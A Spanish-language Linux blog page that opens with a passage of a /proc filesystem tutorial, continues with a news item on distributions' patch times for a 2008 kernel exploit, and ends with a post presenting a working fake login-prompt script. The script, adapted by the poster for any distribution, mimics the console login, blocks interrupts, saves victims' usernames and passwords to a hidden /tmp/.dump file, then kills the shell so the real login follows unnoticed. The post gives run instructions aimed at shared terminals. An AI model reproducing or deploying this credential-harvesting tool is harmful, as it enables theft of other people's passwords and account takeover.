    model name : Mobile AMD Athlon(tm) XP 2200+
    stepping : 1
    cpu MHz : 927.549
    cache size : 256 KB

    Esto muestra que solo tengo un procesador, marcado como 0 de la familia 80686 (El '6' en la familia de cpu es dígito medio): un AMD Athlon XP, corriendo a poco menos de 1GHZ.

  • /proc/loadavg: Un archivo relacionado al anterior que muestra la carga promedio del procesador; su información incluye el uso de CPU en el último minuto, últimos cinco minutos y últimos 15 minutos, asi como el número de procesos actuales ejecutándose.
  • /proc/stat: También proporciona estadísticas, pero tomando en cuenta el último boot (arranque).
  • /proc/uptime: Un archivo pequeño que solo tiene dos números: por cuantos segundos tu sistema ha estado encendido, y cuantos segundos ha estado inactivo.
  • /proc/devices: Despliega todos los dispositivos actuales configurados y cargados de caracter y bloque. /proc/ide y /proc/scsi proveen datos sobre dispositivos IDE y SCSI.
  • /proc/ioports: Te muestra información sobre las regiones usadas para comunicaciones de E/S (I/O) de esos dispositivos.
  • /proc/dma: Muestra los canales "Direct Memory Access" en uso.
  • /proc/filesystems: Muestra cuáles tipos de sistemas de archivos (filesystems) están soportados por tu kernel. Una porción de esto puede lucir como esto:
    nodev   sysfs
    nodev rootfs
    nodev bdev
    nodev proc
    nodev cpuset
    ...some lines snipped...
    nodev ramfs
    nodev hugetlbfs
    nodev mqueue
    ext3
    nodev usbfs
    ext2
    nodev autofs

    La primera columna muestra si el sistema de archivos está montado en un dispositivo de bloques. En mi caso, tengo particiones configuradas con ext2 y ext3.

  • /proc/mounts: Muestra todos los "mounts" usados por tu máquina (la salida es muy similar a /etc/mtab). Similarmente, /proc/partititons y /proc/swaps muestra todas las particiones y el espacio swap respectivamente.
  • /proc/fs: Si estás exportando sistemas de archivos con NFS, este directorio tiene entre sus muchos subdirectorios y archivos a /proc/fs/nfsd/exports, que muestra los sistemas de archivos que están siendo compartidos y sus permisos.
  • /proc/net: No hay nada mejor que esto para información de red. Describir cada archivo en este directorio requeriría demasiado espacio, pero incluye dev (todos los dispositivos de red), varios archivos relacionados al firewall iptables, estadísticas de red y sockets, información sobre wireless y más.

También hay varios archivos relacionados a la RAM. Ya mencioné anteriormente /proc/meminfo, pero también tienes a tu disposición /proc/iomem, que muestra cuanta memoria RAM ha sido utilizada por tu sistema y /proc/kcore, que representa la memoría física de tu RAM. A diferencia de otros archivos virtuales, /proc/kcore muestra un tamaño que es igual a la memoria RAM más una pequeña sobrecarga. (No trates de darle cat a este archivo, porque su contenido es binario y solo desconfigurará tu pantalla). Finalmente, hay muchos archicos y directorios relacionados con el Hardware, tal como /proc/interrupts y /proc/irq, /proc/pci (para todos los dispositivos PCI), /proc/bus y demás, pero todos estos incluyen información muy específica que la mayoría de los usuarios no necesitarán.


¿Que hay en un proceso?

Como ya lo había mencionado, los directorios con nombre numérico representan a los procesos en ejecución. Cuando un proceso termina, su directorio /proc desaparece automáticamente. Si examinas cualquiera de estos directorios mientras existen, encontrarás bastantes archivos, táles como:

attr             cpuset   fdinfo    mountstats  stat
auxv cwd loginuid oom_adj statm
clear_refs environ maps oom_score status
cmdline exe mem root task
coredump_filter fd mounts smaps wchan

Veamos más de cerca a los archivos principales:

  • cmdline: Contiene el comando que inicio el proceso, con todos sus parámetros.
  • cwd: Enlace simbólico al directorio actual de trabajo (current working directory cwd) del proceso; enlaces exe a los procesos ejecutables y enlaces root a su directorio superior.
  • environ: Muestras todas las variables de ambiente para el proceso.
  • fd: Contiene los descriptores de archivo para el proceso, mostrando cuáles archivos o dispositivos lo están usando.
  • maps, statm and mem: Trabaja con la memoria en uso por el proceso.
  • stat and status: Proveé información acerca del estatus del proceso, pero el segundo es mucho más claro que el primero.

Estos archivos plantean varios retos de programación de shell scripts. Por ejemplo, si quieres cazar a los procesos zombie, puedes buscar en todos los directorios numerados y verificar si aparece "(Z) Zombie" en el archivo status. Una vez necesitaba verificar si cierto programa se estaba ejecutando: Lo que hice fue escanear y mirar a los archivos cmdline, buscando por la cadena indicada. (También puedes hacer esto con la salida del programa ps, pero no es el punto en este artículo). Y si quieres programar un programa que se vea mejor que top, toda la información que necesitas esta aqui.


Configurando el sistema: /proc/sys

/proc/sys no solo proveé información sobre el sistema, tambié facilita o permita cambiar parámetros del kernel al vuelo, y habilta o deshabilita características de usabilidad. (Por supuesto, esto puede dañar tu sistema, considérate avisado.)

Para determinar si puedes configurar un archivo o es solo de lectura, usa ls -ld; si un archivo tiene el atributo "w", significa que puedes configurar el kernel de alguna manera. Por ejemplo, ls -ld /proc/kernel/* comienza como esto:

dr-xr-xr-x 0 root root 0 2008-01-26 00:49 pty
dr-xr-xr-x 0 root root 0 2008-01-26 00:49 random
-rw-r--r-- 1 root root 0 2008-01-26 00:49 acct
-rw-r--r-- 1 root root 0 2008-01-26 00:49 acpi_video_flags
-rw-r--r-- 1 root root 0 2008-01-26 00:49 audit_argv_kb
-r--r--r-- 1 root root 0 2008-01-26 00:49 bootloader_type
-rw------- 1 root root 0 2008-01-26 00:49 cad_pid
-rw------- 1 root root 0 2008-01-26 00:49 cap-bound

Se puede observar que bootloader_type no está hecho para ser cambiado, pero otros archivos si lo están. Para cambiar un archivo, puedes usar algo como esto:

echo 10 > /proc/sys/vm/swappiness

Este ejemplo en particular cambiará el rendimiento de la paginación de la memoria virtual. Por cierto, estos cambios son solo temporales, y sus efectos desapareceran cuando tu reinicies el sistema; usa sysctl y el archivo de configuración /etc/sysctl.conf para afectar los cambios de manera permanente.

Veamos el nivel superior del directorio /proc/sys:

  • debug: Contiene (¡sorpresa!) información para depuración (debugging). Esto es muy bueno si estás metido en el desarrollo del kernel.
  • dev: Proveé parámetros para dispositivos específicos en tu sistema; por ejemplo, checa el directorio dev/cdrom.
  • fs: Ofrece datos sobre cada posible aspecto del sistema de archivos.
  • kernel: Te permite afectar la configuración del kernel y su operación directamente.
  • net: Te permite controlar aspectos relacionados a la red. Se cuidadoso, porque puedes perder conectividad.
  • vm: Trata con el subsistema VM.

Conclusión

El directorio especial /proc proveé información completa y detallada acerca de los trabajos internos de Linux y te permite ajustar a la medida muchos aspectos de su configuración. Si te tomas algo de tiempo para aprender las posibilidades de este directorio, estarás en posición de obtener un sistema Linux más perfecto. ¿Y no es acaso lo que todos queremos?.

Copyright 2005-2008 Sergio González Durán
Se concede permiso para copiar, distribuir y/o modificar este documento siempre y cuando se cite al autor y la fuente de linuxtotal.com.mx y según los términos de la GNU Free Documentation License, Versión 1.2 o cualquiera posterior publicada por la Free Software Foundation.

2/18/2008


Velocidad de respuestas al exploit local contra el Kernel 2.6

Después de que la semana pasada se publicaran los detalles de un exploit local contra el Kernel 2.6 producido por la llamada al sistema vmsplice(), el sitio DistroWatch hace un resumen de la rapidez con que las principales distribuciones GNU/Linux respondieron publicando sus correcciones al problema. Todas las 10 primeras distribuciones reaccionaron en menos de 48 horas:

Distribution Date/Time Delay Reference
Debian GNU/Linux 2008-02-11 13:58 +0 hours DSA 1494-1
Fedora 2008-02-11 22:39 +8 hours FEDORA-2008-1423
Slackware Linux 2008-02-12 02:00 +12 hours SSA:2008-042-01
Mandriva Linux 2008-02-12 07:06 +19 hours MDVSA-2008:043
Frugalware Linux 2008-02-12 11:17 +21 hours FSA-369
openSUSE 2008-02-12 12:43 +23 hours SUSE-SA:2008:007
rPath Linux 2008-02-12 16:28 +26 hours rPSA-2008-0052-1
Red Hat Enterprise Linux 2008-02-12 16:54 +27 hours RHSA-2008:0129-01
Ubuntu 2008-02-12 17:23 +27 hours USN-577-1
CentOS 2008-02-13 03:27 +37 hours CESA-2008:0129

Aunque con este exploit un usuario sin privilegios ejecutando un Kernel vulnerable localmente podría obtener un acceso de superusuario, potencialmente afectando a millones de sistemas, el mismo no fué considerado crítico, pero solucionado con una rapidez imposible de encontrar en el mundo del software privativo.


Nota de braianet: Aunque Arch Linux no aparezca en la lista, había lanzado el 10 de febrero su ultimo kernel compilado y corregido. Creo que hay que prestarle mas atención a esta distro, aunque posea un perfil bajo tiene el más rápido tiempo de respuesta exploit/parche junto a Debian.
Si no me creen, visiten su repositorios de paquetes ArchLinux.org.

Fuente:
http://www.vivalinux.com.ar
http://distrowatch.com/weekly.php?issue=20080218#feature


Fake Linux login prompt o Login de Linux falso.

Que pasaría si eres parte de una gran empresa o de una universidad, formada por cientos de terminales bobas o constituidas por maquinas *nix, donde es posible tener acceso a cualquier de ellas con el sólo hecho de loguearse.
Que pasaría si todo fuera normal, si la diferencia entre un Fake linux login y un login real sea prácticamente nulo.
Lo que pasaría es que dejes tu contraseña en un archivo, que después será leida por un "atacante" que necesite acceder a tu cuenta.
Actualmente lass sesiones en Terminales bobas o no, son la mayoría graficas, ejemplos kdm y gdm hace algunos años no eran tan tipicas y el login en modo texto era el predilecto.


Había leido en un artículo como hacer un Fake linux login pero antes de poner en prática, perdí todos los datos de mi disco y por eso me imposibilité a concluirlo.....hasta ayer.
En packetstormsecurity.org navegando por la sección exploits, encontré lo que buscaba pero era algo anticuado y solamente adaptada para una distribucion "ubuntu 5.10", busqué en mis conocimientos limitados alguna forma de hacerlo compatible para cualquier distro y encontré la respuesta en el lenguaje awk, un lenguaje que las pocas veces que lo habia visto lo trataba de evitar, debido al desconocimiento de su sentencia y mi imaginación de dificil aprendizaje, estaba equivocado de nuevo..., es un lenguaje execelente para el procesamiento de patrones en el texto y nos da la capacidad de obtener lo que queramos :).

###INICIO###
# Made by Pranav Joshi & Deepak Kaul
# joshipranav [at the rate] gmail [dot] com
#
# Bash script to emulate login prompt for Linux Machines..
#
# Ctrl-C is blocked
# entered passwords are saved to /tmp/.dump
#
# this script kills all bash instances after it's execution and
# returns to the main login prompt so be prepared before u run it
# Mejorado por Braianet para Arch/Linux y demas distros
# braianel22 [at the rate] gmail [dot] com 18/02/08
# Las contrasenas ingresadas son guardadas en /tmp/.dump.

#!/bin/bash
clear

#Uncomment if you want to erase the /tmp/dump file each time
#> /tmp/.dump

#Your Login BANNER
SISTEMA=`awk '{for (ax=1;ax<=NF;ax++) if (! ($ax ~ /[\\\]/)) print $ax}' /etc/issue | awk '$0 !~ /[\x00-\x20]/'| awk 'BEGIN { ORS = "\x20"} $0 !~ /[\x00-\x20]/'` KERNEL=`uname -r` TERMINAL=`tty | awk 'BEGIN { FS = "\x2F" } {print $3"/"$4}'` #HOSTNAME HN=`hostname` #Si tu sistema NO es Arch/Linux deberias borrar de la variable BANNER la varible$HN y los corchetes (), para que coincida con tu distro. BANNER="$SISTEMA $KERNEL ($HN) ($TERMINAL)" #RUN Set to 0 RUN=0 echo -e "\n$BANNER" echo while [ $RUN -lt 3 ] do echo -n $HN login:; trap "" SIGINT SIGTERM; read USER if [ ${USER}abc = abc ] then echo $BANNER echo continue else echo username is $USER >> /tmp/.dump
echo -n Password: ; read -s PSWD

if [ ${PSWD}abc = abc ]
then
echo ; echo ; continue
fi

echo password is $PSWD >> /tmp/.dump ; echo
fi
echo Login incorrect
echo
RUN=`expr $RUN + 1`
done

# Registers the PID of first instance of bash
#BPID=`ps u | tr -s " " ":" | grep [-]bash | head -n1 | cut -d":" -f2`

# Registers PIDs of all bash instances (Safer)
BPID=`ps u | tr -s " " ":" | grep bash | cut -d":" -f2`

sleep 1
kill -9 $BPID


###FIN###

Si guardas el anterior archivo y lo ejecutas en una terminal de texto, te aparecerá una copia idéntica(Arch Linux, demás distros seguro retocar algo en el archivo) del Login Prompt. Si ingresamos el nombre de usuario y contraseña correctos nos dirá login incorrecto en tres intentos(se puede modificar el valor), donde el user y pass se almacenaran en el archivo /tmp/.dump que podrás leerlo posteriormente. Luego se ejecutará el Login verdadero que permitirá ingresar al usuario "victima", sin percatar su captura de contraseña.

Acuerdense de dar permisos de ejecución al archivo:

$ touch loginfalso.sh # creo el archivo
$ vi loginfalso.sh # abro el archivo y pego el programa. Pueden elegir cualquier editor
$ chmod +x loginfalso.sh # le doy permisos de ejecución
$ ./loginfalso.sh #ejecuto el login falso


Espero que les sirva el articulo, y ademas de conocer la existencia de fake login linux, también existen login falsos de ssh, entre otros. Saludos!